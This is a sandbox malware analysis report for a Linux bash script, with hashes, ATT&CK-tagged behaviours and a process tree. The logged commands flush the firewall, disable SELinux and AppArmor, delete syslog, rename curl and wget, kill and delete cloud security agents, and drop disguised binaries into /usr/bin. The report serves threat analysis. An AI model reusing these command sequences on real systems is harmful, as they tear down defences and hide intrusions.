f0933f2f2e729f34aaa7c3caae7c18eb955bd3a27fe1e37bc2cfe719d63ea72e

Analysis

max time kernel
19s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/09/2026, 16:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Size 15KB
Sample260913-th1a8a11ay
SHA256 f0933f2f2e729f34aaa7c3caae7c18eb955bd3a27fe1e37bc2cfe719d63ea72e
MD5 df67e6dc56750610a09c8631cde6239a
SHA1 75e2e7257f7db684a28b9788cc8847440ed8919d
SHA512 c72255793129409565b18de4fd625cd5f79666df225b789e2c5f512f391f95c4138226d6ca3e7492a46efbafac5f55853174302ac15d7d2409051cc7ccc920f3
SSDEEP 384:YWOWwvrR3YsbdyxQws1JBcUrMtKe9aVDlvSVES3zf:tOW2j1JHYKTsESr
TLSH
T18162C0784DDACC5BE00EC8EA63EE7BC854A231FADBE430D556C90A8591D5F396350570
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod
680	chmod
681	chmod

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs

Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.

Disable or Modify Tools

T1562.001

pid	Process
796	systemctl
800	systemctl
722	systemctl
809	systemctl
813	systemctl
784	systemctl
784	systemctl
784	systemctl
818	systemctl
783	systemctl
795	systemctl
803	systemctl
806	systemctl
784	systemctl
784	systemctl
722	systemctl
722	systemctl
722	systemctl
722	systemctl
794	systemctl
797	systemctl
784	systemctl
722	systemctl
787	systemctl
789	systemctl
791	systemctl
792	systemctl
793	systemctl

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
684	iptables

Disables SELinux 1 TTPs 1 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
720	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Removes the immutable protection flag from a file 1 TTPs 42 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
920	xargs
934	chattr
936	chattr
938	chattr
932	chattr
951	xargs
973	xargs
979	xargs
683	chattr
933	chattr
935	chattr
937	chattr
941	chattr
682	chattr
689	chattr
692	chattr
956	xargs
991	xargs
890	xargs
910	xargs
942	chattr
943	chattr
985	xargs
880	xargs
691	chattr
717	grep
795	systemctl
895	xargs
915	xargs
939	chattr
940	chattr
885	xargs
900	xargs
925	xargs
961	xargs
761	systemctl
826	xargs
967	xargs
690	chattr
715	grep
835	xargs
905	xargs

Write file to user bin folder 6 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/rctlcli	bash
File opened for modification	/usr/bin/systemd-network	bash
File opened for modification	/usr/bin/pamdicks	bash
File opened for modification	/usr/bin/ip6network	bash
File opened for modification	/usr/bin/kswaped	bash
File opened for modification	/usr/bin/irqbalanced	bash

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
662	base64

Discovers running processes 1 TTPs 18 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
906	ps
831	ps
868	ps
891	ps
911	ps
921	ps
840	ps
852	ps
860	ps
876	ps
881	ps
714	ps
896	ps
916	ps
901	ps
716	ps
821	ps
886	ps

Reads CPU attributes 1 TTPs 19 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 32 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/113/status	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/586/stat	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/896/status	ps
File opened for reading	/proc/666/cmdline	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/636/stat	ps
File opened for reading	/proc/103/cmdline	ps
File opened for reading	/proc/831/stat	ps
File opened for reading	/proc/641/cmdline	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/910/cmdline	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/174/status	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/873/status	ps
File opened for reading	/proc/288/cmdline	ps
File opened for reading	/proc/666/stat	ps
File opened for reading	/proc/905/cmdline	ps
File opened for reading	/proc/640/stat	ps
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/584/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/163/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/571/status	ps
File opened for reading	/proc/324/cmdline	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/147/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/641/status	ps
File opened for reading	/proc/584/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/143/cmdline	ps
File opened for reading	/proc/288/status	ps
File opened for reading	/proc/887/stat	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/647/stat	ps
File opened for reading	/proc/593/status	ps
File opened for reading	/proc/147/stat	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/646/status	ps
File opened for reading	/proc/760/status	ps
File opened for reading	/proc/645/cmdline	ps
File opened for reading	/proc/141/cmdline	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/647/stat	ps
File opened for reading	/proc/308/stat	ps
File opened for reading	/proc/26/cmdline	ps
File opened for reading	/proc/571/stat	ps
File opened for reading	/proc/143/cmdline	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/7/cmdline	ps

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
938	chattr
932	chattr

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dev/null	bash
File opened for modification	/tmp/tmp.T2sCqJztMs/embedded.sh	bash

/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/usr/local/sbin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/usr/local/bin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/usr/sbin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/usr/bin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/sbin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
PID:649

/bin/bash
bash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
1⤵
- Writes file to tmp directory
PID:649
- /bin/mktemp
  mktemp -d
  2⤵
  PID:657
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:662
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:664
- /bin/chmod
  chmod +x /tmp/tmp.T2sCqJztMs/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:679

/bin/bash
bash /tmp/tmp.T2sCqJztMs/embedded.sh
1⤵
- Write file to user bin folder
- Writes file to tmp directory
PID:649
- /bin/chmod
  chmod 777 /usr/bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /bin/chmod
  chmod 777 /bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:682
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:683
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:684
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Removes the immutable protection flag from a file
  PID:689
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Removes the immutable protection flag from a file
  PID:690
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:691
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:692
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:693
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:694
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:695
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:696
- /bin/sync
  sync
  2⤵
  PID:698
- /bin/cat
  cat /var/spool/cron/
  2⤵
  PID:699
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:700
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:701
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:702
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:703
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:704
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:705
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:706
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:707
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  PID:708
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:709
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:710
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:711
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:712
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:713
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:714
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Removes the immutable protection flag from a file
  PID:715
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:716
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Removes the immutable protection flag from a file
  PID:717
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:720
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:722
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:723
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:725
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:726
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:731
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:732
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:746
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:750
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:753
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:757
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Removes the immutable protection flag from a file
    - Enumerates kernel/hardware configuration
    PID:761
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:765
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:771
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:774
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:778
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:779
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:781
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:782
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:722
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:722
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:722
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:722
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:722
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:722
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:783
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:784
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:785
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:786
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:787
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:789
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:790
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:791
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:792
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:793
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:794
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Removes the immutable protection flag from a file
    - Enumerates kernel/hardware configuration
    PID:795
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:796
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:797
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:800
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:803
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:806
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:809
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    - Enumerates kernel/hardware configuration
    PID:813
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:784
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:784
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:784
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:784
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:784
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:784
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:818
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:821
- /bin/grep
  grep aegis
  2⤵
  PID:823
- /bin/grep
  grep -v grep
  2⤵
  PID:822
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:826
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:824
- /bin/grep
  grep -v grep
  2⤵
  PID:832
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:831
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:835
- /bin/grep
  grep Yun
  2⤵
  PID:833
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:834
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:840
- /bin/grep
  grep -v grep
  2⤵
  PID:841
- /bin/grep
  grep aegis
  2⤵
  PID:842
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:843
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:844
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:850
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:850
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:850
- - /usr/bin/dirname
    dirname
    3⤵
    PID:850
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:845
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:851
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:851
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:851
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:851
- - /sbin/rm
    rm -rf
    3⤵
    PID:851
- - /bin/rm
    rm -rf
    3⤵
    PID:851
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:852
- /bin/grep
  grep -v grep
  2⤵
  PID:853
- /bin/grep
  grep hids
  2⤵
  PID:854
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:855
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:856
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:858
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:858
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:858
- - /usr/bin/dirname
    dirname
    3⤵
    PID:858
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:857
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:859
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:859
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:859
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:859
- - /sbin/rm
    rm -rf
    3⤵
    PID:859
- - /bin/rm
    rm -rf
    3⤵
    PID:859
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:860
- /bin/grep
  grep -v grep
  2⤵
  PID:861
- /bin/grep
  grep cloudwalker
  2⤵
  PID:862
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:863
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:864
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:866
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:866
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:866
- - /usr/bin/dirname
    dirname
    3⤵
    PID:866
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:865
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:867
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:867
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:867
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:867
- - /sbin/rm
    rm -rf
    3⤵
    PID:867
- - /bin/rm
    rm -rf
    3⤵
    PID:867
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:868
- /bin/grep
  grep -v grep
  2⤵
  PID:869
- /bin/grep
  grep titanagent
  2⤵
  PID:870
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:871
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:872
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:874
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:874
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:874
- - /usr/bin/dirname
    dirname
    3⤵
    PID:874
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:873
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:875
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:875
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:875
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:875
- - /sbin/rm
    rm -rf
    3⤵
    PID:875
- - /bin/rm
    rm -rf
    3⤵
    PID:875
- /bin/grep
  grep -v grep
  2⤵
  PID:877
- /bin/grep
  grep edr
  2⤵
  PID:878
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:879
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:876
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:880
- /bin/grep
  grep -v grep
  2⤵
  PID:882
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:881
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:884
- /bin/grep
  grep aegis
  2⤵
  PID:883
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:885
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:886
- /bin/grep
  grep -v grep
  2⤵
  PID:887
- /bin/grep
  grep Yun
  2⤵
  PID:888
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:890
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:889
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:891
- /bin/grep
  grep hids
  2⤵
  PID:893
- /bin/grep
  grep -v grep
  2⤵
  PID:892
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:895
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:894
- /bin/grep
  grep -v grep
  2⤵
  PID:897
- /bin/grep
  grep edr
  2⤵
  PID:898
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:899
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:896
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:900
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:901
- /bin/grep
  grep -v grep
  2⤵
  PID:902
- /bin/grep
  grep cloudwalker
  2⤵
  PID:903
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:905
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:904
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:906
- /bin/grep
  grep -v grep
  2⤵
  PID:907
- /bin/grep
  grep titanagent
  2⤵
  PID:908
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:909
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:910
